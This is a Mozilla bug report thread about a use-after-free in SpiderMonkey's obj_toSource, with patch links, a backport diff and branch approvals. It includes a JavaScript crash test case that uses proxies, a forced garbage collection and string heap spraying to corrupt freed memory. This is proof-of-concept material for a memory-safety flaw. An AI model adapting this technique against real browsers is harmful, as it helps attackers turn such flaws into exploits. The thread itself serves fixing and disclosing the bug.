Igor Bukanov Assignee
	Description • 14 years ago

obj_toSource contains the following pattern:

obj->lookupProperty(cx, id, &obj2, &prop);
...
obj->getProperty(cx, id, &val[0]);
...
obj2->dropProperty(cx, prop);

Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS.

Here is a test case that crashes the current TM tip:

var obj = {x: 0};

// Make a proxy property of a getter/setter so enumerateOwn will be invoked
// during initial scanning of the object tree. The function than deletes
// a property from the object so property lookup during the enumeration
// will go into prototype.
function f() {}
f.p = Proxy.create({ enumerateOwn: function() {
            delete obj.x;
            return [];
        }});
obj.__defineGetter__.call(obj, 'a', f);
obj.__defineSetter__.call(obj, 'a', f);

var buffer = [];
for (var i = 0; i != 4000; ++i)
    buffer.push({});

function force_gc() {
    print('gc');
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push("123456".substring(1));
}

// Make another proxy a prototype of Object.prototype. The has method for this
// proxy is called for the deleted property x during attribute lookup in
// obj_toSource. The method restores Object.prototype.__proto__ back to null
// and defines a getter for the x on the original object. This getter triggers
// gc that collects now unrooted proxy object and spray the freed GC arenas
// with strings leading to a crash during dropProperty call.
Object.prototype.__proto__ = Proxy.create({
      has: function(name) {
            if (name == "x") {
                Object.prototype.__proto__ = null;
                obj.__defineGetter__('x', force_gc);
                return true;
            }
            return false;
        },

      getOwnPropertyDescriptor: function(name) { return {}; }
    });

obj.toSource();

	Igor Bukanov Assignee
	Comment 2 • 14 years ago

Nominating for branches as in principle the bug could be exploited there using LiveConnect.

	Igor Bukanov Assignee
	Comment 3 • 14 years ago

http://hg.mozilla.org/tracemonkey/rev/fa51bdbbdd46

	Daniel Veditz [:dveditz]
	Comment 4 • 14 years ago

Please request branch patch approvals when you're ready to land this on the stable branches.

	Robert Sayre
	Comment 5 • 14 years ago

http://hg.mozilla.org/mozilla-central/rev/fa51bdbbdd46

	Igor Bukanov Assignee
	Comment 6 • 14 years ago

This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.

	Igor Bukanov Assignee
	Comment 7 • 14 years ago

192 backport follows the logic of TM patch adjusted for older internal API.

	Igor Bukanov Assignee
	Comment 8 • 14 years ago

191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later
branches. Here is a plain diff against 192 version:

4,5c4
< @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc, 
<          idIsLexicalIdentifier = js_IsIdentifier(idstr);
---
> @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc, 
8c7,8
<              js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF;
---
>              js_CheckKeyword(JSSTRING_CHARS(idstr),
>                              JSSTRING_LENGTH(idstr)) != TOK_EOF;
14c14
< -            ok = obj2->getAttributes(cx, id, prop, &attrs);
---
> -            ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs);
16c16
< -                obj2->dropProperty(cx, prop);
---
> -                OBJ_DROP_PROPERTY(cx, obj2, prop);
44c44
< +                obj2->dropProperty(cx, prop);
---
> +                OBJ_DROP_PROPERTY(cx, obj2, prop);
50c50
<                  ok = obj->getProperty(cx, id, &val[0]);
---
>                  ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
54c54
< -            obj2->dropProperty(cx, prop);
---
> -            OBJ_DROP_PROPERTY(cx, obj2, prop);
68c68
<          ok = obj->getProperty(cx, id, &val[0]);
---
>          ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);

	Daniel Veditz [:dveditz]
	Comment 9 • 14 years ago

Comment on attachment 466251 [details] [diff] [review]
fix for 191

Approved for 1.9.1.13, a=dveditz for release-drivers

	Daniel Veditz [:dveditz]
	Comment 10 • 14 years ago

and Approved for 1.9.2.10

	Igor Bukanov Assignee
	Comment 11 • 14 years ago

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/9d509dcb3daf

http://hg.mozilla.org/releases/mozilla-1.9.1/rev/1de1a456c058